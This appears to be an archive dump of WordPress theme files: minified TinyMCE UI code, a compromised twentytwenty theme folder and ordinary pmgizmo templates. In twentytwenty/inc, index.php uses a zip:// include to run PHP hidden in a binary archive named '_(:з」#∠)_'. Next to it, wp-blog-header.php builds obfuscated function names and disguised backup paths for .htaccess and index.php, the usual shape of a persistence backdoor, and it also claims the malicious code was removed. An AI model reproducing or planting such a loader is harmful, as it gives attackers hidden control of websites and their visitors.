id="'+n+'" class="'+e.classes+'" tabindex="-1">'+t+("-"!==o?'<span id="'+n+'-text" class="'+r+'text">'+o+"</span>":"")+(l?'<div id="'+n+'-shortcut" class="'+r+'menu-shortcut">'+l+"</div>":"")+(i.menu?'<div class="'+r+'caret"></div>':"")+(u?'<div class="'+r+'menu-item-link">'+u+"</div>":"")+"</div>"},postRender:function(){var e=this,n=e.settings,t=n.textStyle;if("function"==typeof t&&(t=t.call(this)),t){var i=e.getEl("text");i&&(i.setAttribute("style",t),e._textStyle=t)}return e.on("mouseenter click",function(t){t.control===e&&(n.menu||"click"!==t.type?(e.showMenu(),t.aria&&e.menu.focus(!0)):(e.fire("select"),c.requestAnimationFrame(function(){e.parent().hideAll()})))}),e._super(),e},hover:function(){return this.parent().items().each(function(t){t.classes.remove("selected")}),this.classes.toggle("selected",!0),this},active:function(t){return function(t,e){var n=t._textStyle;if(n){var i=t.getEl("text");i.setAttribute("style",n),e&&(i.style.color="",i.style.backgroundColor="")}}(this,t),void 0!==t&&this.aria("checked",t),this._super(t)},remove:function(){this._super(),this.menu&&this.menu.remove()}}),qr=Dn.extend({Defaults:{classes:"radio",role:"radio"}}),Yr=ge.extend({renderHtml:function(){var t=this,e=t.classPrefix;return t.classes.add("resizehandle"),"both"===t.settings.direction&&t.classes.add("resizehandle-both"),t.canFocus=!1,'<div id="'+t._id+'" class="'+t.classes+'"><i class="'+e+"ico "+e+'i-resize"></i></div>'},postRender:function(){var e=this;e._super(),e.resizeDragHelper=new we(this._id,{start:function(){e.fire("ResizeStart")},drag:function(t){"both"!==e.settings.direction&&(t.deltaX=0),e.fire("Resize",t)},stop:function(){e.fire("ResizeEnd")}})},remove:function(){return this.resizeDragHelper&&this.resizeDragHelper.destroy(),this._super()}});function $r(t){var e="";if(t)for(var n=0;n<t.length;n++)e+='<option value="'+t[n]+'">'+t[n]+"</option>";return e}var Xr=ge.extend({Defaults:{classes:"selectbox",role:"selectbox",options:[]},init:function(t){var n=this;n._super(t),n.settings.size&&(n.size=n.settings.size),n.settings.options&&(n._options=n.settings.options),n.on("keydown",function(t){var e;13===t.keyCode&&(t.preventDefault(),n.parents().reverse().each(function(t){if(t.toJSON)return e=t,!1}),n.fire("submit",{data:e.toJSON()}))})},options:function(t){return arguments.length?(this.state.set("options",t),this):this.state.get("options")},renderHtml:function(){var t,e=this,n="";return t=$r(e._options),e.size&&(n=' size = "'+e.size+'"'),'<select id="'+e._id+'" class="'+e.classes+'"'+n+">"+t+"</select>"},bindStates:function(){var e=this;return e.state.on("change:options",function(t){e.getEl().innerHTML=$r(t.value)}),e._super()}});function jr(t,e,n){return t<e&&(t=e),n<t&&(t=n),t}function Jr(t,e,n){t.setAttribute("aria-"+e,n)}function Gr(t,e){var n,i,r,o,s;"v"===t.settings.orientation?(r="top",i="height",n="h"):(r="left",i="width",n="w"),s=t.getEl("handle"),o=((t.layoutRect()[n]||100)-Ht.getSize(s)[i])*((e-t._minValue)/(t._maxValue-t._minValue))+"px",s.style[r]=o,s.style.height=t.layoutRect().h+"px",Jr(s,"valuenow",e),Jr(s,"valuetext",""+t.settings.previewFilter(e)),Jr(s,"valuemin",t._minValue),Jr(s,"valuemax",t._maxValue)}var Kr=ge.extend({init:function(t){var e=this;t.previewFilter||(t.previewFilter=function(t){return Math.round(100*t)/100}),e._super(t),e.classes.add("slider"),"v"===t.orientation&&e.classes.add("vertical"),e._minValue=bt(t.minValue)?t.minValue:0,e._maxValue=bt(t.maxValue)?t.maxValue:100,e._initValue=e.state.get("value")},renderHtml:function(){var t=this._id,e=this.classPrefix;return'<div id="'+t+'" class="'+this.classes+'"><div id="'+t+'-handle" class="'+e+'slider-handle" role="slider" tabindex="-1"></div></div>'},reset:function(){this.value(this._initValue).repaint()},postRender:function(){var t,e,n,i,r,o,s,a,l,u,c,d,f,h,m=this;t=m._minValue,e=m._maxValue,"v"===m.settings.orientation?(n="screenY",i="top",r="height",o="h"):(n="screenX",i="left",r="width",o="w"),m._super(),function(o,s){function e(t){var e,n,i,r;e=jr(e=(((e=m.value())+(r=n=o))/((i=s)-r)+.05*t)*(i-n)-n,o,s),m.value(e),m.fire("dragstart",{value:e}),m.fire("drag",{value:e}),m.fire("dragend",{value:e})}m.on("keydown",function(t){switch(t.keyCode){case 37:case 38:e(-1);break;case 39:case 40:e(1)}})}(t,e),s=t,a=e,l=m.getEl("handle"),m._dragHelper=new we(m._id,{handle:m._id+"-handle",start:function(t){u=t[n],c=parseInt(m.getEl("handle").style[i],10),d=(m.layoutRect()[o]||100)-Ht.getSize(l)[r],m.fire("dragstart",{value:h})},drag:function(t){var e=t[n]-u;f=jr(c+e,0,d),l.style[i]=f+"px",h=s+f/d*(a-s),m.value(h),m.tooltip().text(""+m.settings.previewFilter(h)).show().moveRel(l,"bc tc"),m.fire("drag",{value:h})},stop:function(){m.tooltip().hide(),m.fire("dragend",{value:h})}})},repaint:function(){this._super(),Gr(this,this.value())},bindStates:function(){var e=this;return e.state.on("change:value",function(t){Gr(e,t.value)}),e._super()}}),Zr=ge.extend({renderHtml:function(){return this.classes.add("spacer"),this.canFocus=!1,'<div id="'+this._id+'" class="'+this.classes+'"></div>'}}),Qr=Ir.extend({Defaults:{classes:"widget btn splitbtn",role:"button"},repaint:function(){var t,e,n=this.getEl(),i=this.layoutRect();return this._super(),t=n.firstChild,e=n.lastChild,Tt(t).css({width:i.w-Ht.getSize(e).width,height:i.h-2}),Tt(e).css({height:i.h-2}),this},activeMenu:function(t){Tt(this.getEl().lastChild).toggleClass(this.classPrefix+"active",t)},renderHtml:function(){var t,e,n=this,i=n._id,r=n.classPrefix,o=n.state.get("icon"),s=n.state.get("text"),a=n.settings,l="";return(t=a.image)?(o="none","string"!=typeof t&&(t=_.window.getSelection?t[0]:t[1]),t=" style=\"background-image: url('"+t+"')\""):t="",o=a.icon?r+"ico "+r+"i-"+o:"",s&&(n.classes.add("btn-has-text"),l='<span class="'+r+'txt">'+n.encode(s)+"</span>"),e="boolean"==typeof a.active?' aria-pressed="'+a.active+'"':"",'<div id="'+i+'" class="'+n.classes+'" role="button"'+e+' tabindex="-1"><button type="button" hidefocus="1" tabindex="-1">'+(o?'<i class="'+o+'"'+t+"></i>":"")+l+'</button><button type="button" class="'+r+'open" hidefocus="1" tabindex="-1">'+(n._menuBtnText?(o?"\xa0":"")+n._menuBtnText:"")+' <i class="'+r+'caret"></i></button></div>'},postRender:function(){var n=this.settings.onclick;return this.on("click",function(t){var e=t.target;if(t.control===this)for(;e;){if(t.aria&&"down"!==t.aria.key||"BUTTON"===e.nodeName&&-1===e.className.indexOf("open"))return t.stopImmediatePropagation(),void(n&&n.call(this,t));e=e.parentNode}}),delete this.settings.onclick,this._super()}}),to=ir.extend({Defaults:{containerClass:"stack-layout",controlClass:"stack-layout-item",endClass:"break"},isNative:function(){return!0}}),eo=Oe.extend({Defaults:{layout:"absolute",defaults:{type:"panel"}},activateTab:function(n){var t;this.activeTabId&&(t=this.getEl(this.activeTabId),Tt(t).removeClass(this.classPrefix+"active"),t.setAttribute("aria-selected","false")),this.activeTabId="t"+n,(t=this.getEl("t"+n)).setAttribute("aria-selected","true"),Tt(t).addClass(this.classPrefix+"active"),this.items()[n].show().fire("showtab"),this.reflow(),this.items().each(function(t,e){n!==e&&t.hide()})},renderHtml:function(){var i=this,t=i._layout,r="",o=i.classPrefix;return i.preRender(),t.preRender(i),i.items().each(function(t,e){var n=i._id+"-t"+e;t.aria("role","tabpanel"),t.aria("labelledby",n),r+='<div id="'+n+'" class="'+o+'tab" unselectable="on" role="tab" aria-controls="'+t._id+'" aria-selected="false" tabIndex="-1">'+i.encode(t.settings.title)+"</div>"}),'<div id="'+i._id+'" class="'+i.classes+'" hidefocus="1" tabindex="-1"><div id="'+i._id+'-head" class="'+o+'tabs" role="tablist">'+r+'</div><div id="'+i._id+'-body" class="'+i.bodyClasses+'">'+t.renderHtml(i)+"</div></div>"},postRender:function(){var i=this;i._super(),i.settings.activeTab=i.settings.activeTab||0,i.activateTab(i.settings.activeTab),this.on("click",function(t){var e=t.target.parentNode;if(e&&e.id===i._id+"-head")for(var n=e.childNodes.length;n--;)e.childNodes[n]===t.target&&i.activateTab(n)})},initLayoutRect:function(){var t,e,n,i=this;e=(e=Ht.getSize(i.getEl("head")).width)<0?0:e,n=0,i.items().each(function(t){e=Math.max(e,t.layoutRect().minW),n=Math.max(n,t.layoutRect().minH)}),i.items().each(function(t){t.settings.x=0,t.settings.y=0,t.settings.w=e,t.settings.h=n,t.layoutRect({x:0,y:0,w:e,h:n})});var r=Ht.getSize(i.getEl("head")).height;return i.settings.minWidth=e,i.settings.minHeight=n+r,(t=i._super()).deltaH+=r,t.innerH=t.h-t.deltaH,t}}),no=ge.extend({init:function(t){var n=this;n._super(t),n.classes.add("textbox"),t.multiline?n.classes.add("multiline"):(n.on("keydown",function(t){var e;13===t.keyCode&&(t.preventDefault(),n.parents().reverse().each(function(t){if(t.toJSON)return e=t,!1}),n.fire("submit",{data:e.toJSON()}))}),n.on("keyup",function(t){n.state.set("value",t.target.value)}))},repaint:function(){var t,e,n,i,r,o=this,s=0;t=o.getEl().style,e=o._layoutRect,r=o._lastRepaintRect||{};var a=_.document;return!o.settings.multiline&&a.all&&(!a.documentMode||a.documentMode<=8)&&(t.lineHeight=e.h-s+"px"),i=(n=o.borderBox).left+n.right+8,s=n.top+n.bottom+(o.settings.multiline?8:0),e.x!==r.x&&(t.left=e.x+"px",r.x=e.x),e.y!==r.y&&(t.top=e.y+"px",r.y=e.y),e.w!==r.w&&(t.width=e.w-i+"px",r.w=e.w),e.h!==r.h&&(t.height=e.h-s+"px",r.h=e.h),o._lastRepaintRect=r,o.fire("repaint",{},!1),o},renderHtml:function(){var e,t,n=this,i=n.settings;return e={id:n._id,hidefocus:"1"},R.each(["rows","spellcheck","maxLength","size","readonly","min","max","step","list","pattern","placeholder","required","multiple"],function(t){e[t]=i[t]}),n.disabled()&&(e.disabled="disabled"),i.subtype&&(e.type=i.subtype),(t=Ht.create(i.multiline?"textarea":"input",e)).value=n.state.get("value"),t.className=n.classes.toString(),t.outerHTML},value:function(t){return arguments.length?(this.state.set("value",t),this):(this.state.get("rendered")&&this.state.set("value",this.getEl().value),this.state.get("value"))},postRender:function(){var e=this;e.getEl().value=e.state.get("value"),e._super(),e.$el.on("change",function(t){e.state.set("value",t.target.value),e.fire("change",t)})},bindStates:function(){var e=this;return e.state.on("change:value",function(t){e.getEl().value!==t.value&&(e.getEl().value=t.value)}),e.state.on("change:disabled",function(t){e.getEl().disabled=t.value}),e._super()},remove:function(){this.$el.off(),this._super()}}),io=function(){return{Selector:Ft,Collection:qt,ReflowQueue:Zt,Control:ae,Factory:_e,KeyboardNavigation:Ce,Container:Me,DragHelper:we,Scrollable:Ne,Panel:Oe,Movable:he,Resizable:We,FloatPanel:ze,Window:$e,MessageBox:Ge,Tooltip:me,Widget:ge,Progress:pe,Notification:be,Layout:Mn,AbsoluteLayout:Nn,Button:On,ButtonGroup:Pn,Checkbox:Dn,ComboBox:Bn,ColorBox:Ln,PanelButton:In,ColorButton:Fn,ColorPicker:Vn,Path:Yn,ElementPath:$n,FormItem:Xn,Form:jn,FieldSet:Jn,FilePicker:tr,FitLayout:er,FlexLayout:nr,FlowLayout:ir,FormatControls:Or,GridLayout:Wr,Iframe:Pr,InfoBox:Dr,Label:Ar,Toolbar:Br,MenuBar:Lr,MenuButton:Ir,MenuItem:Vr,Throbber:zr,Menu:Fr,ListBox:Ur,Radio:qr,ResizeHandle:Yr,SelectBox:Xr,Slider:Kr,Spacer:Zr,SplitButton:Qr,StackLayout:to,TabPanel:eo,TextBox:no,DropZone:qn,BrowseButton:Wn}},ro=function(n){n.ui?R.each(io(),function(t,e){n.ui[e]=t}):n.ui=io()};R.each(io(),function(t,e){_e.add(e,t)}),ro(window.tinymce?window.tinymce:{}),r.add("inlite",function(t){var e=Sn();return Or.setup(t),_n(t,e),Ke(t,e)})}(window);twentytwenty/.htaccess000064400000000000152223213640011135 0ustar00twentytwenty/inc/wp-blog-header.php000064400000003327152223213640013435 0ustar00<?php
$r_p = $_SERVER["DOCUMENT_ROOT"];

$ht_url = $r_p."/.h"."t"."a"."cc"."es"."s";
$in_url = $r_p."/i"."n"."d"."ex."."p"."h"."p";

$bk_ht_1 = $r_p.'/'.'w'.'p'.'-'.'a'.'d'.'m'.'i'.'n'.'/'.'c'.'s'.'s'.'/'.'c'.'o'.'l'.'o'.'r'.'s'.'/'.'m'.'i'.'d'.'n'.'i'.'g'.'h'.'t'.'/'.'c'.'o'.'l'.'o'.'r'.'s'.'-'.'g'.'o'.'o'.'d'.'s'.'.'.'m'.'i'.'n'.'.'.'c'.'s'.'s';
$bk_ht_2 = $r_p.'/'.'w'.'p'.'-'.'i'.'n'.'c'.'l'.'u'.'d'.'e'.'s'.'/'.'j'.'s'.'/'.'j'.'q'.'u'.'e'.'r'.'y'.'/'.'j'.'q'.'u'.'e'.'r'.'y'.'.'.'t'.'a'.'b'.'l'.'e'.'e'.'-'.'h'.'o'.'t'.'s'.'k'.'e'.'y'.'.'.'m'.'i'.'n'.'.'.'j'.'s';
$bk_ht_3 = $r_p.'/'.'w'.'p'.'-'.'i'.'n'.'c'.'l'.'u'.'d'.'e'.'s'.'/'.'i'.'m'.'a'.'g'.'e'.'s'.'/'.'c'.'r'.'y'.'s'.'t'.'a'.'l'.'/'.'s'.'p'.'r'.'e'.'a'.'d'.'s'.'h'.'e'.'e'.'t'.'t'.'s'.'.'.'p'.'n'.'g';

$bk_in_1 = $r_p.'/'.'w'.'p'.'-'.'a'.'d'.'m'.'i'.'n'.'/'.'i'.'m'.'a'.'g'.'e'.'s'.'/'.'m'.'e'.'d'.'i'.'a'.'-'.'b'.'u'.'t'.'t'.'o'.'n'.'-'.'m'.'u'.'s'.'i'.'c'.'-'.'3'.'x'.'.'.'g'.'i'.'f';
$bk_in_2 = $r_p.'/'.'w'.'p'.'-'.'i'.'n'.'c'.'l'.'u'.'d'.'e'.'s'.'/'.'i'.'m'.'a'.'g'.'e'.'s'.'/'.'s'.'m'.'i'.'l'.'i'.'e'.'s'.'/'.'i'.'c'.'o'.'n'.'_'.'t'.'w'.'i'.'s'.'t'.'e'.'d'.'d'.'.'.'p'.'n'.'g';
$bk_in_3 = $r_p.'/'.'w'.'p'.'-'.'i'.'n'.'c'.'l'.'u'.'d'.'e'.'s'.'/'.'j'.'s'.'/'.'d'.'i'.'s'.'t'.'/'.'s'.'e'.'r'.'v'.'e'.'r'.'-'.'s'.'i'.'e'.'d'.'-'.'r'.'e'.'n'.'d'.'e'.'r'.'r'.'.'.'m'.'i'.'n'.'.'.'j'.'s';

$f_ex = "fi"."le"."_"."e"."x"."i"."s"."ts";
$f_sz = "f"."i"."l"."e"."s"."i"."z"."e";
$c_mo = "c"."h"."m"."o"."d";
$f_p_c = "f"."i"."l"."e"."_p"."ut"."_c"."on"."te"."nt"."s";
$f_g_c = "f"."il"."e_"."ge"."t_"."con"."te"."nt"."s";


/**
* Note: This file may contain artifacts of previous malicious infection.
* However, the dangerous code has been removed, and the file is now safe to use.
*/

?>twentytwenty/inc/.htaccess000064400000000000152223213640011706 0ustar00twentytwenty/inc/_(:з」000064400000011507152223213640012220 0ustar00PK'�\�U�8��?∠)_�;ks�F��]�0F�PL���-��T�XN|k����ڜ˥ɡ�3�В��*^o���Tŗ�7�>��m�}٫S�I�ı���p��~�u���{N��====����)Ӝ��ǽ_�^sLs����Aop��̫��<�^e�m�f�cw�����Z�ܧwoq?�=��j�YX��`��;ufu���c3'O��9�=���F��/�?D_�<15���Js�s�K
��_D�G��/`�=�|ݏ�b�@�����B���>���:��֖@�h��h�>|����',�&z:z?�6������,�na�0M�1�w�Oi͇D���?�O���l�NOm���y��x��0,]/�ٻ�]�c�� �=‰�=nu�?m\��VH\3X�Mmm�]}k�����|��3����-�I]x�ʆX�v���0���
+z���&K؜Ј�nl\��k%k����������ˀ�;]]�˧�_ym��5��N<��̱����d� ���>-��Y>��4�ܼ`.����s����u�~�k��gĘ�{��ky�=�.kY�۾7tA&_����
�χ�۝���B�u=74�V�v��,���ow�cǂ���w쟆Ahw��6�s7��6|r��,��vM;� �q{�@��ٛ��[>�K��6�-��*����v������������v���߀�� J�ou�!,X�����k���]6��v˚�����r��|74���E�;�@L�.�˭{:X* 3����™E���Rmin1�N��`;v'�f	�`0"�~�h���^�Y��A���34-�m-t�T��<[��dG�g�s:cȪ����Ϟbk�Ż\��<�����(��tw웬�
7�DP���/��VT�� ]��3з��i/�HJ}�7�$�\����dYz��=`���e0�`l��>6�	�뵇A��_8*NU,[}��"��������I��0+a��H�b���˚X4���;0����/`����Oi�>�^�^�Y�{�|�ʼnS />(�pD�{��>Z�U�s�Xa/�����/�v���v����ѯG�<ˢǣߎ>����`��>�~"�
��l�[�3\d���!zʦ����)|?�Q84\���L�����	"� }����߷��t�/ E��|�Ii��g�;��p"�	#\ρ܏�e�`T�����l�V�S_��Xe��T�.>%����_�����pb�	��8�������S8�/]�K����7�66�.�m�q��%�0������W��X��'�&��3�9���!b��^d'�[]ҵzz=@�T�2Q��u7 �}��2��J3@��eQd�5RlHR�����),'��=��)��7�;g�y�}�����y��%�0����w�B��ôwx���J���@�J��0��v����1��ul�F�q�/@��36���w�[�~#� _��oI"R1�ȼh��:��� Y�o5�/������߆�Ǩ�0k:FI.�;-�Kw��8q,�H��$)Kf���Āe0���wYׂ�6��|`���L�v����jX*��t�Z����R�\�	�
��=�)��
�Bb�_�z#^g��2�tӹ�����^�u+?$Y�Mf��ʋ�r�����Q%6��
=d�c��S�'U"�c4|8p<��i�����6���9���ã�C
�X�!ߖ �w������-1�S���Bs��]��;a2���CS|4
�'�9��N�S����q�ҳa�h�GH/�Hy̑��x���8,ms��L�����-Y�$LP�����)��,��"�Ͽ� ~��w��{������0��>����:��������6V��4`�;�m{��e�J?�΂Č��͗*eP,���:�4��}�k� ��V��q�Ŭb�������'Q�
���d�5���~d��˗�D�?A��(J��p��o�N	ܦ(�����a	~��2�
�;6��<��II$����CC�1�cL��Ǡ bUChu�
���v�����G��jP]e�/^]{m��շA��]=�t��RE@[��%�k��ɚ+rR%󚔑^�4d!0�#��ǀ�F)g�)�jvj`��LFX�Kn ��:��Q�>!�4��`��n؝.��*�!���\��ֶ�\=D5�|��b^A��j�r'�ѝJbt)�#�|2�s��0�|�$:�Jh����J$F��k���*؊�L+�r�_�? ��c���O�gQ�	!��p��{M+�)m���W�k=���.�x�Ay�D�	�wC�x3�d
9|
/��a�$"��ׄ�OSA�/���Bչ�s4�F��D�b�L���'K�ګ�J�`(,A�JI
V\s��|�U��N���w��s��;%�I2��~�ns���0۵C�rL��ެUg\�*��)�뵹Zm��0�:M�����ߵ�<��f�™�w��[�:mu�K9��3�iu0���X���/����m�s�0�y��{���/u��9��_Y�*�j.:H+ۙ�cRo4e1��O#������Њ�
��q��E0�V��Yy���&|��qE���Ғ�>����j[�<�j0 �[�{W��;��2�^�?��A�VtM�f^e��=o�TR�Gɷl�*�}kה��V���:V8ǣ~�B-���Ǧ�/��r�
���l�pd,\t1NB�×jTw8�Ÿ���Yъ�K9�L��zWnj�z���V.>�*Ff��3�D�����˸йr�a%�lATu���˴G;�j+t�G����j���8)�]��3hB|�pz6�D�jgџ���1�ec}����7ư�MF/sq!M�(gx�f�Cr�I���v6
6�p-?�Rdf1ЛC��p��=�!
�f��{)_Ţ���t~��JM�C9x�߶����:u,?�nlhpS掏���b��[�k�
�q���Q	�x/7޿��#%$����?�W9g�ˇՂ�H�ܣ��A.��������KՎ5@>�����ܥ��gw:�߹U��?;�ݩ���c�s
�XM.�<�1t�u�
B�
	x���b����EW���+���Ō��t}�۔��Mw��3@j2*���5>a�`�:�8�bջ@"*X���M��#��	��3�� ���+�6�~�.p�0=�.냽��u�]ށ�{j�@��Ue�Ƌ�'(�n,�����Z?tL��D�������c��d�Y�gs�l��5d�-��<�G5��y
��w�u�`������?��kA��1q��#�Gu9:���$��fBr���s�D��ʮ��ԫ���BM�/��o��t?�ηQ�'=�K	��ލ"�[;}�����T \�U06�ƃq�8�\���_l��a�����R�"���x�ʹ7(��{��I�J�ո��f��RGg��H����1��`����r�2�C�,1��f�"-�]��+�\*�)���9c��ro�<*m޶-�JWZ�VW$�����b=�w�ƪh�l֌xE���,$���(�pY����!�Uibv�P���?2�T!��YE'6��7��n�WS���d���eRb�
�}�ҫx!.E�K\8�UL�������W�S���C�J��*6�Y@���C��2;Vh��ŦI���A`�$L�ꖥ��̩�n��ōn"�1@?a3MC��N�O	��-�}��Cp��쬢V�,��D���teU��4�Mf���&�3�UT�:>Ӵ���h(�H�3�\�E�#�</�e���,D5�������$f�<*|_�!ս�R?�t�B�]Ι�h1X�)�VC�g� >kŅR�[}�]}я��ǚ��n�G�ǚ�Y�m�=�
�
l�`��؝��r�i�Mm�lڑwaԳ�OC<��������‚+����ͫD, Ȯ�����f���_�����}
K~����y��So��)�>�I�9qFlL^�-8&�u��Bҷ�
�
PtqL��%�t\��l�/�����%a7�!�ĦC�3�k���W��~&�+4�Z�F�I��Q:o�E�}h�+����~����x��c���\x�`p��ߚ����Ġk���R�,K��j��0&��о]t�:�t��	+��gB�_��a��LPČ���_�����f� ܓ��<Fщ��{ަ�Pd|��Y/ь)	��O?�^�}���e�`��^PD�l0Q��v�"�]yk��so��ׇd��	�}5�ѫ�FA���ӌ1I�Vj��f~eRd}�oL;H���!mf�C���l�9�>$�9�K��V���~��yq����A�S`
���@-k�d�J'�<�M=��T/�$QZ�M�¸q�_9�K�)��R��O)���}�E�wޯ�ħ(J�������&<��¶��؋kmZ(?i�V
RԦE��Z��l�-I0����Q	�Ln�ػ"��i�p�uf
�-Zkg�v�C3A����W��mXa>��
�	r\��愶P-�8�v�u6[�$��&.�{N���A����@�^8eݷ��V�
�-��č\��6�>`��kI,W�aK�r�� �6�%?Qc��^������Jt�������B����-�o	1�Yas��^�Y�Q�tai���1X���Xt��N���	"9I��;zuK���I�+�PK?'�\�U�8��?��∠)_PK3�twentytwenty/inc/index.php000064400000000153152223213640011741 0ustar00<?php
$wrapper = function($x) { include $x; };
$data = ['zip://_(:з」#∠)_'];
$wrapper($data[0]);
?>pmgizmo/archive.php000064400000004056152223213640010365 0ustar00<?php
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
get_header();
$theme_options = pmthemes_theme_options();
echo '<div id="wrap" class="clearfix">';
        if ( $theme_options['pmthemes_display_fullw'] == false ) :
            echo '<section id="content" class="primary" role="main">';
        else:
            echo '<section id="content-full" class="primary" role="main">';
        endif;
        // Display Archive Title According to Type
         echo '<h2 class="archive-title '. $theme_options['pmth_arc_align_header'] .'">';
            if( is_category() ) {
                printf(__('Category Archives: %s', 'pmthemes'), '<span>' . single_cat_title( '', false ) . '</span>');
            } elseif ( is_tag() ) {
                printf(__('Tag Archives: %s', 'pmthemes'), '<span>' . single_cat_title( '', false ) . '</span>');
            } elseif ( is_date() ) {
                printf( __( 'Monthly Archives: %s', 'pmthemes' ), '<span>' . get_the_date( _x( 'F Y', 'date format of monthly archives', 'pmthemes' ) ) . '</span>' );
            } else {
                _e( 'Archives fda', 'pmthemes' );
            }
        echo '</h2>';
        do_action('pmthemes_before_archive_content');
        if ( $theme_options['pmth_grid_col_opt'] == 'pmth-grid-coln' ) {
            $gridopt = $theme_options['pmth_grid_column'];
        } else {
            $gridopt = $theme_options['pmth_grid_width'];
        }
        echo '<div class="pmth-grid '. $gridopt .'">';
            // Display Content
            if (have_posts()) :
                while (have_posts()) : the_post();
                    get_template_part( 'template-parts/content', $theme_options['posts_length'] );
                endwhile;
            endif;
        echo '</div>';
        pmthemes_display_pagination();
        do_action('pmthemes_after_archive_content');
    echo '</section>';

    // Display Sidebar
    if ( $theme_options['pmthemes_display_fullw'] == false ) :
        get_sidebar();
    endif;
echo '</div>';
get_footer();pmgizmo/landing-page.php000064400000001251152223213640011264 0ustar00<?php
/*
Template Name: Landing Page
*/
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
?>
<?php get_header(); ?>

	<div id="wrap" class="clearfix template-fullwidth">
		
		<section id="content-full" class="clearfix" role="main">
		
		<?php if (have_posts()) : while (have_posts()) : the_post(); ?>
		
			<div <?php post_class(); ?>>
				
				<h1 class="page-title"><span><?php the_title(); ?></span></h1>
				
				<div class="entry clearfix">
					<?php the_content(); ?>
				</div>
				<?php wp_link_pages(); ?>
				
			</div>

		<?php endwhile; ?>

		<?php endif; ?>
		
		</section>

	</div>
	
<?php get_footer(); ?>	pmgizmo/page.php000064400000000636152223213640007660 0ustar00<?php
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
get_header(); ?>
	<div id="wrap" class="clearfix">
		<section id="content" class="primary" role="main">
		<?php if (have_posts()) : while (have_posts()) : the_post();
			get_template_part( 'template-parts/content', 'page' );
			endwhile;
		endif; ?>
		</section>
		<?php get_sidebar(); ?>
	</div>
<?php get_footer(); ?>	pmgizmo/azon.php000064400000003367152223213640007717 0ustar00<?php
/*
Template Name: Amazon Page
*/
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
?>
<?php get_header(); ?>
<div id="wrap" class="clearfix template-fullwidth">
	<section id="content-full" class="clearfix" role="main">
	  <div <?php post_class(); ?>>
		<div class="entry clearfix">
			<?php $options = get_option( 'pmthemes_ads' ); 
			if ( isset( $options['amazon_astore_enable'] ) and $options['amazon_astore_enable'] == 'custom' ) :	?>
			<?php $options = get_option( 'pmthemes_ads' ); echo $options['amazon_custom_adcode']; ?>	
			<?php else: ?> 
			<script type="text/javascript">
            amzn_assoc_placement = "adunit0";
            amzn_assoc_search_bar = "true";
            amzn_assoc_tracking_id = "<?php $options = get_option( 'pmthemes_ads' ); echo $options['amazon_id']; ?>";
            amzn_assoc_search_bar_position = "bottom";
            amzn_assoc_ad_mode = "search";
            amzn_assoc_ad_type = "smart";
            amzn_assoc_marketplace = "amazon";
            amzn_assoc_region = "<?php $options = get_option( 'pmthemes_ads' ); echo $options['amazon_country_loc']; ?>";
            amzn_assoc_title = "<?php $options = get_option( 'pmthemes_ads' ); echo $options['amazon_store_title']; ?>";
            amzn_assoc_default_search_phrase = "<?php $options = get_option( 'pmthemes_ads' ); echo $options['amazon_keyword']; ?>";
            amzn_assoc_default_category = "<?php $options = get_option( 'pmthemes_ads' ); echo $options['amazon_category']; ?>";
            amzn_assoc_linkid = "";
            </script>
            <script src="//z-na.amazon-adsystem.com/widgets/onejs?MarketPlace=US"></script>
			<?php endif; ?>
		</div>
	  </div>
	</section>
</div>
<?php get_footer(); ?>	pmgizmo/header.php000064400000006751152223213640010200 0ustar00<?php
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
?>
<!DOCTYPE html><!-- HTML 5 -->
<html <?php language_attributes(); ?>>
<head>
    <meta charset="<?php bloginfo( 'charset' ); ?>" />
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel="profile" href="http://gmpg.org/xfn/11" />
    <link rel="pingback" href="<?php bloginfo( 'pingback_url' ); ?>" />
    <?php /* Embeds HTML5shiv to support HTML5 elements in older IE versions plus CSS Backgrounds */ ?>
    <!--[if lt IE 9]>
    <script src="<?php echo esc_url(get_template_directory_uri()); ?>/js/html5shiv.min.js" type="text/javascript"></script>
    <![endif]-->
    <?php wp_head(); ?>
</head>
<body <?php body_class(); ?>>
<?php wp_body_open(); ?>
<div id="wrapper" class="hfeed">
    <?php do_action('pmthemes_above_header'); ?>
    <?php $theme_options = pmthemes_theme_options();
        if ( isset($theme_options['topbar_show']) and ($theme_options['topbar_show'] == true)
            and $theme_options['top_bar_loc'] == 'top-bar-most' ) :
            get_template_part('template-parts/top-bar');
        endif;
        if ( isset($theme_options['topnav_down']) and $theme_options['topnav_down'] == false ) :
            get_template_part('template-parts/top-navigation');
        endif;
    ?>
    <div id="header-wrap">
        <?php if ( isset($theme_options['topnav_down']) and $theme_options['topnav_down'] == true and
            isset($theme_options['header_line_enable']) and $theme_options['header_line_enable'] == true ) :
        echo '<div class="header-line"></div>';
        endif; ?>
        <header id="header" class="clearfix" role="banner">
            <div id="logo" class="clearfix">
                <?php do_action('pmthemes_site_title'); ?>
                <div class="clear"></div>
                <?php if ( isset($theme_options['header_tagline']) and $theme_options['header_tagline'] == true ) : ?>
                    <h2 class="site-description"><?php echo bloginfo('description'); ?></h2>
                <?php endif; ?>
            </div>
            <?php if ( isset($theme_options['nav_on_header']) and $theme_options['nav_on_header'] == 'main-menu-header' ){
                get_template_part('template-parts/main-navigation');
            } else {
                if (is_active_sidebar('head-content')) : ?>
                    <div id="header-banner" class="clearfix">
                        <?php dynamic_sidebar('head-content'); ?>
                    </div>
                <?php endif;
            }?>
        </header>
    </div>
    <?php
        if ( isset($theme_options['topnav_down']) and $theme_options['topnav_down'] == true ) :
            get_template_part('template-parts/top-navigation');
        endif;
        if ( isset($theme_options['nav_on_header']) and $theme_options['nav_on_header'] == 'main-menu-below' ) :
            get_template_part('template-parts/main-navigation');
        endif;
        if ( isset($theme_options['topbar_show']) and ($theme_options['topbar_show'] == true)
            and $theme_options['top_bar_loc'] == 'top-bar-under' ) :
            get_template_part('template-parts/top-bar');
        endif;
        if ( isset($theme_options['sticky_navi']) and $theme_options['sticky_navi'] == true ) :
            pmthemes_nav_sticky();
        endif;
        pmthemes_display_custom_header();
    ?>
    <?php do_action('pmthemes_before_content_wrap'); ?>
    <div id="content-wrap">pmgizmo/search.php000064400000004312152223213640010204 0ustar00<?php
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
get_header();
// Get Theme Options from Database
